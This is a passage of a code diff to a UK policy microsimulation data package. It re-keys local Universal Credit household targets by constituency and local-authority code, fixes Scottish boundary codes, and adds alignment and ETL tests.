-        from policyengine_uk_data.datasets.local_areas.constituencies.boundary_changes.mapping_matrix import (
-            mapping_matrix,
-        )
-
-        y_columns = list(y.columns)
-        y_values = mapping_matrix @ y.values
-        y = pd.DataFrame(y_values, columns=y_columns)
+        y["uc_households"] = get_la_uc_targets().loc[y.index]
 
     # ── LA extras: ONS income, tenure, rent ─────────────────────────
     if area_type == "la":
@@ -264,8 +273,7 @@ def _load_area_targets(
             load_household_counts,
             load_tenure_data,
             load_private_rents,
-            UPRATING_NET_INCOME_BHC_2020_TO_2025,
-            UPRATING_HOUSING_COSTS_2020_TO_2025,
+            get_ons_income_uprating_factors,
         )
 
         original_weights = sim.calculate("household_weight", 2025).values
@@ -288,16 +296,19 @@ def _load_area_targets(
             "equiv_hbai_household_net_income_ahc"
         ).values
         housing_costs = hbai_net_income - hbai_net_income_ahc
+        income_bhc_uprating_factor, housing_costs_uprating_factor = (
+            get_ons_income_uprating_factors(int(time_period))
+        )
 
         ons_merged["equiv_net_income_bhc_target"] = (
             ons_merged["net_income_bhc"]
             * ons_merged["households"]
-            * UPRATING_NET_INCOME_BHC_2020_TO_2025
+            * income_bhc_uprating_factor
         )
         ons_merged["equiv_housing_costs_target"] = (
             ons_merged["net_income_bhc"] * ons_merged["households"]
             - ons_merged["net_income_ahc"] * ons_merged["households"]
-        ) * UPRATING_HOUSING_COSTS_2020_TO_2025
+        ) * housing_costs_uprating_factor
         ons_merged["equiv_net_income_ahc_target"] = (
             ons_merged["equiv_net_income_bhc_target"]
             - ons_merged["equiv_housing_costs_target"]
@@ -385,7 +396,7 @@ def _load_area_targets(
             national_rent * la_household_share,
         )
 
-    return y
+    return y.reset_index(drop=True)
 
 
 def create_cloned_target_matrix(
diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py b/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py
index 45713388..27bd965c 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/boundary_changes/mapping_matrix.py
@@ -5,6 +5,19 @@
 # 1. Read the boundary change data into a DataFrame
 df = pd.read_csv(Path(__file__).parent / "boundary_changes.csv")
 
+# Five unchanged Scottish constituencies retain their 2010 codes in the
+# boundary-change source. Use their 2024 codes from constituencies_2024.csv
+# so the mapped rows can be joined to the other 2024 targets by code.
+df["code_2024"] = df["code_2024"].replace(
+    {
+        "S14000006": "S14000107",  # Ayr, Carrick and Cumnock
+        "S14000008": "S14000108",  # Berwickshire, Roxburgh and Selkirk
+        "S14000010": "S14000109",  # Central Ayrshire
+        "S14000040": "S14000110",  # Kilmarnock and Loudoun
+        "S14000058": "S14000111",  # West Aberdeenshire and Kincardine
+    }
+)
+
 # 2. Get unique constituency codes for 2010 and 2024, sorted alphabetically
 old_codes = sorted(df["code_2010"].unique())
 new_codes = sorted(df["code_2024"].unique())
diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/loss.py b/policyengine_uk_data/datasets/local_areas/constituencies/loss.py
index 1fb55f13..32a7b1ad 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/loss.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/loss.py
@@ -18,6 +18,8 @@
 from policyengine_uk_data.storage import STORAGE_FOLDER
 from policyengine_uk_data.datasets.local_areas.constituencies.boundary_changes.mapping_matrix import (
     mapping_matrix,
+    old_codes,
+    new_codes,
 )
 from policyengine_uk_data.targets.sources.local_age import (
     get_constituency_age_targets,
@@ -49,7 +51,8 @@ def create_constituency_target_matrix(
     sim.default_calculation_period = time_period
 
     matrix = pd.DataFrame()
-    y = pd.DataFrame()
+    age_targets = get_constituency_age_targets()
+    y = pd.DataFrame(index=pd.Index(age_targets["code"], name="code"))
 
     # ── Income targets ─────────────────────────────────────────────
     incomes = get_constituency_income_targets()
@@ -78,7 +81,6 @@ def create_constituency_target_matrix(
         )
 
     # ── Age targets ────────────────────────────────────────────────
-    age_targets = get_constituency_age_targets()
     uk_total_population = get_uk_total_population(int(time_period))
 
     age = sim.calculate("age").values
@@ -97,7 +99,6 @@ def create_constituency_target_matrix(
         y[col] *= uk_total_population / targets_total_pop * 0.9
 
     # ── UC targets ─────────────────────────────────────────────────
-    y["uc_households"] = get_constituency_uc_targets().values
     on_uc = (sim.calculate("universal_credit").values > 0).astype(int)
     matrix["uc_households"] = sim.map_result(on_uc, "benunit", "household")
 
@@ -113,10 +114,6 @@ def create_constituency_target_matrix(
     matrix["uc_hh_2_children"] = (on_uc_hh & (children_per_hh == 2)).astype(float)
     matrix["uc_hh_3plus_children"] = (on_uc_hh & (children_per_hh >= 3)).astype(float)
 
-    uc_by_children = get_constituency_uc_by_children_targets()
-    for col in uc_by_children.columns:
-        y[col] = uc_by_children[col].values
-
     # ── Wales/Scotland housing anchors ───────────────────────────────
     add_private_rent_targets(
         matrix,
@@ -130,15 +127,28 @@ def create_constituency_target_matrix(
     # ── Boundary mapping (2010 → 2024) ────────────────────────────
     const_2024 = pd.read_csv(STORAGE_FOLDER / "constituencies_2024.csv")
 
-    y_columns = list(y.columns)
-    y_values = mapping_matrix @ y.values
-    y = pd.DataFrame(y_values, columns=y_columns)
+    # The mapping's columns and rows are sorted by 2010 and 2024 codes,
+    # respectively; neither order should be inferred from a target CSV.
+    y = pd.DataFrame(
+        mapping_matrix @ y.loc[old_codes].to_numpy(),
+        index=pd.Index(new_codes, name="code"),
+        columns=y.columns,
+    )
+
+    # UC is already on 2024 boundaries, so attach it only after mapping
+    # the older income, age and housing targets.
+    y = y.loc[const_2024["code"]]
+    y["uc_households"] = get_constituency_uc_targets().loc[y.index]
+    uc_by_children = get_constituency_uc_by_children_targets().loc[y.index]
+    for col in uc_by_children.columns:
+        y[col] = uc_by_children[col]
+    y = y.loc[:, matrix.columns]
 
     country_mask = create_country_mask(
         household_countries=sim.calculate("country").values,
         codes=const_2024.code,
     )
-    return matrix, y, country_mask
+    return matrix, y.reset_index(drop=True), country_mask
 
 
 def create_country_mask(
diff --git a/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py b/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py
index d2455e22..24d20edd 100644
--- a/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py
+++ b/policyengine_uk_data/datasets/local_areas/local_authorities/loss.py
@@ -58,12 +58,17 @@ def create_local_authority_target_matrix(
         time_period = dataset.time_period
 
     la_codes = pd.read_csv(STORAGE_FOLDER / "local_authorities_2021.csv")
+    age_targets = get_la_age_targets()
+    if not pd.Index(age_targets["code"]).equals(pd.Index(la_codes["code"])):
+        raise ValueError(
+            "LA age targets and local authority codes must have the same order"
+        )
 
     sim = Microsimulation(dataset=dataset, reform=reform)
     sim.default_calculation_period = time_period
 
     matrix = pd.DataFrame()
-    y = pd.DataFrame()
+    y = pd.DataFrame(index=pd.Index(age_targets["code"], name="code"))
 
     # ── Income targets ─────────────────────────────────────────────
     incomes = get_la_income_targets()
@@ -92,7 +97,6 @@ def create_local_authority_target_matrix(
         )
 
     # ── Age targets ────────────────────────────────────────────────
-    age_targets = get_la_age_targets()
     uk_total_population = get_uk_total_population(int(time_period))
 
     age = sim.calculate("age").values
@@ -110,7 +114,7 @@ def create_local_authority_target_matrix(
         y[col] *= uk_total_population / targets_total_pop * 0.9
 
     # ── UC targets ─────────────────────────────────────────────────
-    y["uc_households"] = get_la_uc_targets().values
+    y["uc_households"] = get_la_uc_targets().loc[y.index]
     matrix["uc_households"] = sim.map_result(
         (sim.calculate("universal_credit").values > 0).astype(int),
         "benunit",
@@ -305,7 +309,7 @@ def create_local_authority_target_matrix(
         codes=la_codes.code,
     )
 
-    return matrix, y, country_mask
+    return matrix, y.reset_index(drop=True), country_mask
 
 
 def create_country_mask(
diff --git a/policyengine_uk_data/db/etl.py b/policyengine_uk_data/db/etl.py
index 84303a6a..3b4ab578 100644
--- a/policyengine_uk_data/db/etl.py
+++ b/policyengine_uk_data/db/etl.py
@@ -429,21 +429,19 @@ def _load_local_uc_targets(session: Session) -> int:
 
         from policyengine_uk_data.utils import uc_data
 
-        df = getattr(uc_data, loader_attr)
+        df = getattr(uc_data, loader_attr).set_index("code", verify_integrity=True)
 
         if level == "constituency":
             codes_df = pd.read_csv(STORAGE_FOLDER / "constituencies_2024.csv")
         else:
             codes_df = pd.read_csv(STORAGE_FOLDER / "local_authorities_2021.csv")
 
-        for i, hh_count in enumerate(df.household_count.values):
-            if i >= len(codes_df):
-                break
-            code = codes_df.iloc[i]["code"]
-            area_name = codes_df.iloc[i].get("name", "")
+        areas = codes_df.set_index("code", verify_integrity=True)
+        for code, hh_count in df["household_count"].items():
+            area_name = areas.loc[code, "name"]
             value = float(hh_count)
-            if np.isnan(value):
-                continue
+            if not np.isfinite(value):
+                raise ValueError(f"Non-finite UC household target for {code}")
             target_name = f"dwp/{level}/{code}/uc_households"
             _insert_target(
                 session,
diff --git a/policyengine_uk_data/targets/sources/local_uc.py b/policyengine_uk_data/targets/sources/local_uc.py
index a8420c96..a2b2f802 100644
--- a/policyengine_uk_data/targets/sources/local_uc.py
+++ b/policyengine_uk_data/targets/sources/local_uc.py
@@ -71,14 +71,12 @@ def _scaled_uc_children_by_country(gb_total_households: float) -> dict[str, np.n
 
 
 def get_constituency_uc_targets() -> pd.Series:
-    """UC household counts for 650 constituencies (positional order).
-
-    Returns Series of household_count values, aligned to the same
-    ordering as the constituency age.csv.
-    """
+    """UC household counts indexed by 2024 constituency code."""
     from policyengine_uk_data.utils.uc_data import uc_pc_households
 
-    return uc_pc_households.household_count
+    return uc_pc_households.set_index("code", verify_integrity=True)[
+        "household_count"
+    ].sort_index()
 
 
 def get_constituency_uc_by_children_targets() -> pd.DataFrame:
@@ -87,50 +85,43 @@ def get_constituency_uc_by_children_targets() -> pd.DataFrame:
     Applies country-level proportions from Stat-Xplore to each
     constituency's total UC count.  Returns a DataFrame with columns
     ``uc_hh_0_children``, ``uc_hh_1_child``, ``uc_hh_2_children``,
-    ``uc_hh_3plus_children``, in the same positional order as
-    :func:`get_constituency_uc_targets`.
+    ``uc_hh_3plus_children``, indexed by 2024 constituency code. Integer
+    buckets sum exactly to each area's total, using its matched country.
     """
-    from policyengine_uk_data.utils.uc_data import uc_pc_households
-    from policyengine_uk_data.storage import STORAGE_FOLDER
-
-    codes = pd.read_csv(STORAGE_FOLDER / "constituencies_2024.csv")["code"]
-    totals = uc_pc_households.household_count.values.astype(float)
+    totals = get_constituency_uc_targets()
 
-    result = pd.DataFrame(index=range(len(totals)))
     cols = [
         "uc_hh_0_children",
         "uc_hh_1_child",
         "uc_hh_2_children",
         "uc_hh_3plus_children",
     ]
-    for col in cols:
-        result[col] = 0.0
-
-    gb_total = totals[codes.str[0].isin(["E", "W", "S"])].sum()
+    gb_total = totals[totals.index.str[0].isin(["E", "W", "S"])].sum()
     country_buckets = _scaled_uc_children_by_country(gb_total)
 
-    for i, (total, code) in enumerate(zip(totals, codes)):
-        country_prefix = code[0]
-        proportions = country_buckets.get(
-            country_prefix,
-            country_buckets["N"],  # fallback
-        )
+    rows = []
+    for code, total in totals.items():
+        proportions = country_buckets[code[0]]
         shares = proportions / proportions.sum()
-        for j, col in enumerate(cols):
-            result.loc[i, col] = round(total * shares[j])
+        expected = total * shares
+        counts = np.floor(expected).astype(int)
+        # Allocate remaining households to the largest fractional parts.
+        # Independent rounding can otherwise lose or add a household.
+        remainder = int(total - counts.sum())
+        order = np.argsort(-(expected - counts), kind="stable")
+        counts[order[:remainder]] += 1
+        rows.append(counts)
 
-    return result
+    return pd.DataFrame(rows, index=totals.index, columns=cols)
 
 
 def get_la_uc_targets() -> pd.Series:
-    """UC household counts for 360 local authorities (positional order).
-
-    Returns Series of household_count values, aligned to the same
-    ordering as the LA age.csv.
-    """
+    """UC household counts indexed by local authority code."""
     from policyengine_uk_data.utils.uc_data import uc_la_households
 
-    return uc_la_households.household_count
+    return uc_la_households.set_index("code", verify_integrity=True)[
+        "household_count"
+    ].sort_index()
 
 
 REFERENCE_URL = _REF
diff --git a/policyengine_uk_data/tests/test_devolved_housing_targets.py b/policyengine_uk_data/tests/test_devolved_housing_targets.py
index 0619bd93..5f811d0f 100644
--- a/policyengine_uk_data/tests/test_devolved_housing_targets.py
+++ b/policyengine_uk_data/tests/test_devolved_housing_targets.py
@@ -119,6 +119,7 @@ def map_result(self, values, source_entity, target_entity):
 
 def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatch):
     age_targets = _age_targets().iloc[[0, 2]].reset_index(drop=True)
+    codes = age_targets["code"].tolist()
     income_targets = pd.DataFrame(
         {
             "self_employment_income_amount": [1.0, 1.0],
@@ -141,7 +142,8 @@ def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatc
             "uc_hh_1_child": [0.0, 0.0],
             "uc_hh_2_children": [0.0, 0.0],
             "uc_hh_3plus_children": [0.0, 0.0],
-        }
+        },
+        index=pd.Index(codes, name="code"),
     )
 
     monkeypatch.setattr(constituency_loss, "Microsimulation", _FakeSim)
@@ -160,7 +162,7 @@ def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatc
     monkeypatch.setattr(
         constituency_loss,
         "get_constituency_uc_targets",
-        lambda: pd.Series([1.0, 1.0]),
+        lambda: pd.Series([1.0, 1.0], index=pd.Index(codes, name="code")),
     )
     monkeypatch.setattr(
         constituency_loss,
@@ -168,6 +170,8 @@ def test_constituency_target_matrix_includes_devolved_housing_targets(monkeypatc
         lambda: uc_by_children,
     )
     monkeypatch.setattr(constituency_loss, "mapping_matrix", np.eye(2))
+    monkeypatch.setattr(constituency_loss, "old_codes", codes)
+    monkeypatch.setattr(constituency_loss, "new_codes", codes)
     monkeypatch.setattr(
         constituency_loss.pd,
         "read_csv",
diff --git a/policyengine_uk_data/tests/test_la_loss_missing_sources.py b/policyengine_uk_data/tests/test_la_loss_missing_sources.py
index 11f078fe..b2478aeb 100644
--- a/policyengine_uk_data/tests/test_la_loss_missing_sources.py
+++ b/policyengine_uk_data/tests/test_la_loss_missing_sources.py
@@ -69,10 +69,19 @@ def _patch_common_la_inputs(monkeypatch, tmp_path):
     monkeypatch.setattr(
         loss,
         "get_la_age_targets",
-        lambda: pd.DataFrame({"age/0_100": [1.0, 1.0, 1.0, 1.0]}),
+        lambda: pd.DataFrame(
+            {
+                "code": _fake_la_codes()["code"],
+                "age/0_100": [1.0, 1.0, 1.0, 1.0],
+            }
+        ),
     )
     monkeypatch.setattr(loss, "get_uk_total_population", lambda year: 4.0)
-    monkeypatch.setattr(loss, "get_la_uc_targets", lambda: pd.Series([0, 1, 0, 0]))
+    monkeypatch.setattr(
+        loss,
+        "get_la_uc_targets",
+        lambda: pd.Series([0, 1, 0, 0], index=_fake_la_codes()["code"]),
+    )
     monkeypatch.setattr(
         loss,
         "get_ons_income_uprating_factors",
diff --git a/policyengine_uk_data/tests/test_local_uc_alignment.py b/policyengine_uk_data/tests/test_local_uc_alignment.py
new file mode 100644
index 00000000..a81946c0
--- /dev/null
+++ b/policyengine_uk_data/tests/test_local_uc_alignment.py
@@ -0,0 +1,400 @@
+"""Local UC targets retain their area identity through both calibration paths.
+
+The oracle reads only committed public Stat-Xplore/DfC workbooks and geography
+metadata. A four-household simulation stub exercises the target builders without
+opening survey data or building/recalibrating a dataset.
+"""
+
+from functools import lru_cache
+from pathlib import Path
+import re
+from types import SimpleNamespace
+import unicodedata
+
+from hypothesis import given, settings, strategies as st
+import numpy as np
+import pandas as pd
+import pytest
+
+from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets.sources import local_uc
+from policyengine_uk_data.utils import uc_data
+
+
+_READ_EXCEL = pd.read_excel
+_AREA_FILES = {
+    "constituency": "constituencies_2024.csv",
+    "la": "local_authorities_2021.csv",
+}
+_CHILD_COLUMNS = [
+    "uc_hh_0_children",
+    "uc_hh_1_child",
+    "uc_hh_2_children",
+    "uc_hh_3plus_children",
+]
+_COUNTRIES = {
+    "E": "ENGLAND",
+    "W": "WALES",
+    "S": "SCOTLAND",
+    "N": "NORTHERN_IRELAND",
+}
+
+
+@lru_cache
+def _workbook(filename, sheet_name=0):
+    return _READ_EXCEL(STORAGE_FOLDER / filename, sheet_name=sheet_name, header=None)
+
+
+def _name_key(name):
+    # Stat-Xplore's Welsh LA labels have the English name before the slash.
+    english = str(name).split(" / ")[0].casefold().replace("&", "and")
+    unaccented = "".join(
+        c
+        for c in unicodedata.normalize("NFKD", english)
+        if not unicodedata.combining(c)
+    )
+    return re.sub(r"[^a-z0-9]", "", unaccented)
+
+
+@lru_cache
+def _area_metadata(area_type):
+    return pd.read_csv(STORAGE_FOLDER / _AREA_FILES[area_type])
+
+
+@lru_cache
+def _national_payment_total():
+    table = _workbook("uc_national_payment_dist.xlsx")
+    rows = table.iloc[9:]
+    paying = rows[~rows[1].isin(["No payment", "Total"])]
+    return sum(
+        pd.to_numeric(paying[column], errors="coerce").fillna(0).sum()
+        for column in range(3, 7)
+    )
+
+
+@lru_cache
+def _workbook_oracle(area_type):
+    """Independent raw-name join and the existing uniform national rescale."""
+    areas = _area_metadata(area_type)
+    codes_by_name = {_name_key(row["name"]): row["code"] for _, row in areas.iterrows()}
+    assert len(codes_by_name) == len(areas)
+    name_column = 1 if area_type == "constituency" else 2
+    filename = (
+        "uc_pc_households.xlsx"
+        if area_type == "constituency"
+        else "uc_la_households.xlsx"
+    )
+    gb = _workbook(filename)
+    counts = {}
+    for _, row in gb.iloc[8:].iterrows():
+        name, count = row[name_column], row[3]
+        if pd.isna(name) or pd.isna(count) or name in {"Unknown", "Total"}:
+            continue
+        code = codes_by_name[_name_key(name)]
+        assert code not in counts
+        counts[code] = int(count)
+
+    ni = _workbook(
+        "dfc-ni-uc-stats-supp-tables-may-2025.ods",
+        "5b" if area_type == "constituency" else "5c",
+    )
+    month = ni.loc[ni[0].eq("May 2025")].iloc[0]
+    stop = 19 if area_type == "constituency" else 12
+    for column in range(1, stop):
+        name = ni.iloc[2, column]
+        if pd.isna(name) or (area_type == "la" and name == "Ards and North Down"):
+            continue
+        code = codes_by_name[_name_key(name)]
+        assert code not in counts
+        counts[code] = int(month[column])
+
+    raw = pd.Series(counts, name="household_count").rename_axis("code").sort_index()
+    assert set(raw.index) == set(areas["code"])
+    scaled = (raw * (_national_payment_total() / raw.sum())).round().astype(int)
+    return raw, scaled
+
+
+def _get_targets(area_type):
+    getter = (
+        local_uc.get_constituency_uc_targets
+        if area_type == "constituency"
+        else local_uc.get_la_uc_targets
+    )
+    return getter()
+
+
+@pytest.mark.parametrize("area_type", ["constituency", "la"])
+def test_all_uc_rows_and_country_totals_match_public_workbooks(area_type):
+    """Keep the national payment rescale and per-area rounding unchanged."""
+    raw, expected = _workbook_oracle(area_type)
+    actual = _get_targets(area_type).sort_index()
+    pd.testing.assert_series_equal(actual, expected, check_dtype=False)
+    for country in _COUNTRIES:
+        codes = expected.index[expected.index.str.startswith(country)]
+        assert actual.loc[codes].sum() == expected.loc[codes].sum()
+    assert actual.sum() == (raw * (_national_payment_total() / raw.sum())).round().sum()
+    # The national scale is deliberate; individual integer rounding can drift.
+    assert abs(actual.sum() - _national_payment_total()) <= len(actual) / 2
+
+
+@pytest.mark.parametrize("area_type", ["constituency", "la"])
+@settings(max_examples=8, deadline=None)
+@given(seed=st.integers(min_value=0, max_value=2**32 - 1))
+def test_permuting_workbook_areas_preserves_code_indexed_targets(area_type, seed):
+    _, expected = _workbook_oracle(area_type)
+    filename = (
+        "uc_pc_households.xlsx"
+        if area_type == "constituency"
+        else "uc_la_households.xlsx"
+    )
+    name_column = 1 if area_type == "constituency" else 2
+    rng = np.random.default_rng(seed)
+    shuffled = _workbook(filename).copy()
+    valid = shuffled.index[
+        (shuffled.index >= 8)
+        & shuffled[name_column].notna()
+        & shuffled[3].notna()
+        & ~shuffled[name_column].isin(["Unknown", "Total"])
+    ]
+    shuffled.loc[valid] = shuffled.loc[rng.permutation(valid)].to_numpy()
+
+    def read_excel(path, *args, **kwargs):
+        if Path(path).name == filename:
+            return shuffled.copy()
+        if Path(path).suffix == ".ods":
+            table = _workbook(Path(path).name, kwargs["sheet_name"]).copy()
+            stop = 19 if kwargs["sheet_name"] == "5b" else 12
+            columns = list(range(1, stop))
+            table.iloc[:, columns] = table.iloc[:, rng.permutation(columns)].to_numpy()
+            return table
+        return _workbook(Path(path).name).copy()
+
+    parser = (
+        uc_data._parse_uc_pc_households
+        if area_type == "constituency"
+        else uc_data._parse_uc_la_households
+    )
+    attribute = (
+        "uc_pc_households" if area_type == "constituency" else "uc_la_households"
+    )
+    with pytest.MonkeyPatch.context() as patch:
+        patch.setattr(uc_data.pd, "read_excel", read_excel)
+        patch.setattr(uc_data, attribute, parser())
+        pd.testing.assert_series_equal(
+            _get_targets(area_type).sort_index(), expected, check_dtype=False
+        )
+
+
+def test_children_split_sums_exactly_and_uses_matched_country_shares():
+    _, totals = _workbook_oracle("constituency")
+    actual = local_uc.get_constituency_uc_by_children_targets().sort_index()
+    assert list(actual.columns) == _CHILD_COLUMNS
+    pd.testing.assert_index_equal(actual.index, totals.index)
+    np.testing.assert_array_equal(actual.sum(axis=1), totals)
+    gb_total = totals.loc[totals.index.str[0].isin(["E", "W", "S"])].sum()
+    buckets = local_uc._scaled_uc_children_by_country(gb_total)
+    for code, total in totals.items():
+        shares = buckets[code[0]] / buckets[code[0]].sum()
+        # Integer apportionment must stay within one household of each share.
+        assert (np.abs(actual.loc[code].to_numpy() - total * shares) < 1).all(), code
+
+
+@pytest.mark.parametrize("problem", ["unmatched", "duplicate", "missing"])
+def test_area_matching_rejects_incomplete_or_ambiguous_names(problem):
+    areas = pd.DataFrame({"code": ["E01", "W01"], "name": ["A & B", "Cardiff"]})
+    names = {
+        "unmatched": ["Unknown place", "Cardiff"],
+        "duplicate": ["A and B", "A & B"],
+        "missing": ["A and B"],
+    }[problem]
+    data = pd.DataFrame({"area_name": names, "household_count": [1] * len(names)})
+    with pytest.raises(ValueError):
+        uc_data._match_uc_area_codes(data, areas, "area_name")
+
+
+@pytest.mark.parametrize("bilingual", ["CARDIFF / CAERDYDD", "CAERDYDD / CARDIFF"])
+def test_area_matching_normalises_labels_and_prefers_explicit_codes(bilingual):
+    areas = pd.DataFrame(
+        {
+            "code": ["E01", "W01", "W02"],
+            "name": ["King's Lynn and West Norfolk", "Cardiff", "Ynys Môn"],
+        }
+    )
+    names = pd.DataFrame(
+        {
+            "area_name": [bilingual, "kings lynn & west-norfolk", "YNYS MON"],
+            "household_count": [10, 20, 30],
+        }
+    )
+    matched = uc_data._match_uc_area_codes(names, areas, "area_name")
+    assert matched["code"].tolist() == ["W01", "E01", "W02"]
+    coded = names.assign(code=["E01", "W01", "W02"], area_name="Unrecognised label")
+    assert uc_data._match_uc_area_codes(coded, areas, "area_name")["code"].tolist() == [
+        "E01",
+        "W01",
+        "W02",
+    ]
+
+
+@pytest.mark.parametrize("codes", [["E01", "E01"], ["E01", "X01"]])
+def test_area_matching_rejects_duplicate_or_unknown_explicit_codes(codes):
+    areas = pd.DataFrame({"code": ["E01", "W01"], "name": ["Area A", "Area B"]})
+    data = pd.DataFrame({"code": codes, "area_name": ["Area A", "Area B"]})
+    with pytest.raises(ValueError):
+        uc_data._match_uc_area_codes(data, areas, "area_name")
+
+
+@pytest.mark.parametrize("problem", ["ambiguous_alias", "duplicate_code"])
+def test_area_matching_rejects_ambiguous_reference_geography(problem):
+    areas = pd.DataFrame(
+        {
+            "code": ["E01", "W01"] if problem == "ambiguous_alias" else ["E01", "E01"],
+            "name": ["A & B", "A and B"],
+        }
+    )
+    data = pd.DataFrame({"area_name": ["A and B"], "household_count": [1]})
+    with pytest.raises(ValueError):
+        uc_data._match_uc_area_codes(data, areas, "area_name")
+
+
+class _FakeSim:
+    """Four artificial households, one in each UK country; no dataset IO."""
+
+    def __init__(self, *args, **kwargs):
+        self.default_calculation_period = 2025
+
+    def calculate(self, variable, *args, **kwargs):
+        if variable == "country":
+            values = list(_COUNTRIES.values())
+        elif variable == "tenure_type":
+            values = ["RENT_PRIVATELY"] * 4
+        elif variable == "council_tax_band":
+            values = ["A"] * 4
+        elif variable == "age":
+            values = [20, 30, 40, 50]
+        elif variable == "is_child":
+            values = [False] * 4
+        else:
+            values = [1.0] * 4
+        return SimpleNamespace(values=np.asarray(values))
+
+    def map_result(self, values, source_entity, target_entity):
+        return np.asarray(values)
+
+
+def _patch_unrelated_sources(monkeypatch, dense_loss):
+    from policyengine_uk_data.targets.sources import local_income, local_la_extras
+
+    for module in [local_income, dense_loss]:
+        monkeypatch.setattr(module, "INCOME_VARIABLES", [])
+        monkeypatch.setattr(
+            module, "get_national_income_projections", lambda year: pd.DataFrame()
+        )
+    monkeypatch.setattr(dense_loss, "Microsimulation", _FakeSim)
+    if hasattr(dense_loss, "add_private_rent_targets"):
+        monkeypatch.setattr(
+            dense_loss, "add_private_rent_targets", lambda *args, **kwargs: None
+        )
+
+    codes = _area_metadata("la")["code"].to_numpy()
+    loaders = {
+        "load_ons_la_income": pd.DataFrame(
+            {"la_code": codes, "net_income_bhc": 1.0, "net_income_ahc": 1.0}
+        ),
+        "load_household_counts": pd.DataFrame({"la_code": codes, "households": 1.0}),
+        "load_tenure_data": pd.DataFrame(
+            {
+                "la_code": codes,
+                **{
+                    name + "_pct": 25.0
+                    for name in [
+                        "owned_outright",
+                        "owned_mortgage",
+                        "private_rent",
+                        "social_rent",
+                    ]
+                },
+            }
+        ),
+        "load_private_rents": pd.DataFrame(
+            {"area_code": codes, "median_annual_rent": 1.0}
+        ),
+    }
+    for name, frame in loaders.items():
+        for module in [local_la_extras, dense_loss]:
+            if hasattr(module, name):
+                monkeypatch.setattr(module, name, lambda frame=frame: frame.copy())
+    for module in [local_la_extras, dense_loss]:
+        if hasattr(module, "get_ons_income_uprating_factors"):
+            monkeypatch.setattr(
+                module, "get_ons_income_uprating_factors", lambda year: (1.0, 1.0)
+            )
+
+
+@pytest.mark.parametrize("area_type", ["constituency", "la"])
+@pytest.mark.parametrize("builder", ["dense", "oa"])
+def test_each_builder_uc_row_matches_its_area_and_country(
+    monkeypatch, area_type, builder
+):
+    from policyengine_uk_data.calibration import matrix_builder
+    from policyengine_uk_data.datasets.local_areas.constituencies import (
+        loss as constituency_loss,
+    )
+    from policyengine_uk_data.datasets.local_areas.local_authorities import (
+        loss as la_loss,
+    )
+    from policyengine_uk_data.targets.sources import local_age
+
+    loss = constituency_loss if area_type == "constituency" else la_loss
+    _patch_unrelated_sources(monkeypatch, loss)
+    dataset = SimpleNamespace(time_period=2025)
+    areas = _area_metadata(area_type).copy()
+    if builder == "dense":
+        create = (
+            loss.create_constituency_target_matrix
+            if area_type == "constituency"
+            else loss.create_local_authority_target_matrix
+        )
+        matrix, y, mask = create(dataset)
+        expected_mask = np.equal.outer(
+            areas["code"].str[0].map(_COUNTRIES).to_numpy(), list(_COUNTRIES.values())
+        )
+        np.testing.assert_array_equal(mask, expected_mask)
+        assert list(matrix.columns) == list(y.columns)
+    else:
+        # Assignment rows can arrive in any code order, including interleaved countries.
+        areas = areas.sample(frac=1, random_state=468).reset_index(drop=True)
+        y = matrix_builder._load_area_targets(area_type, areas, dataset, _FakeSim())
+    _, expected = _workbook_oracle(area_type)
+    np.testing.assert_array_equal(y["uc_households"], expected.loc[areas["code"]])
+    source_age = (
+        local_age.get_constituency_age_targets()
+        if area_type == "constituency"
+        else local_age.get_la_age_targets()
+    )
+    age_columns = [column for column in source_age if column.startswith("age/")]
+    adjustment = (
+        0.9
+        * local_age.get_uk_total_population(dataset.time_period)
+        / source_age[age_columns].to_numpy().sum()
+    )
+    expected_country_age = (
+        source_age[age_columns].groupby(source_age["code"].str[0]).sum() * adjustment
+    )
+    actual_country_age = y[age_columns].groupby(areas["code"].str[0].to_numpy()).sum()
+    pd.testing.assert_frame_equal(
+        actual_country_age.sort_index(),
+        expected_country_age.sort_index(),
+        check_names=False,
+        rtol=1e-12,
+        atol=1e-7,
+    )
+    if area_type == "la":
+        np.testing.assert_allclose(
+            y[age_columns].to_numpy(),
+            source_age.set_index("code").loc[areas["code"], age_columns].to_numpy()
+            * adjustment,
+        )
+    if area_type == "constituency":
+        children = local_uc.get_constituency_uc_by_children_targets().loc[areas["code"]]
+        np.testing.assert_array_equal(y[_CHILD_COLUMNS], children)
diff --git a/policyengine_uk_data/tests/test_local_uc_etl.py b/policyengine_uk_data/tests/test_local_uc_etl.py
new file mode 100644
index 00000000..8a00bc4d
--- /dev/null
+++ b/policyengine_uk_data/tests/test_local_uc_etl.py
@@ -0,0 +1,45 @@
+"""Local UC database targets keep the public workbook's matched area codes."""
+
+from unittest.mock import Mock
+
+import pandas as pd
+
+from policyengine_uk_data.db import etl
+from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets.sources.local_uc import (
+    get_constituency_uc_targets,
+    get_la_uc_targets,
+)
+
+
+def test_local_uc_etl_inserts_all_targets_with_matched_codes_and_names(monkeypatch):
+    session = Mock()
+    inserted = []
+
+    def insert_target(actual_session, **target):
+        assert actual_session is session
+        inserted.append(target)
+
+    monkeypatch.setattr(etl, "_insert_target", insert_target)
+
+    count = etl._load_local_uc_targets(session)
+
+    assert count == len(inserted) == 1_010
+    session.commit.assert_called_once_with()
+    for level, getter, area_file in [
+        ("constituency", get_constituency_uc_targets, "constituencies_2024.csv"),
+        ("local_authority", get_la_uc_targets, "local_authorities_2021.csv"),
+    ]:
+        expected = getter()
+        areas = pd.read_csv(STORAGE_FOLDER / area_file).set_index(
+            "code", verify_integrity=True
+        )
+        local = [row for row in inserted if row["geographic_level"] == level]
+        codes = [row["geo_code"] for row in local]
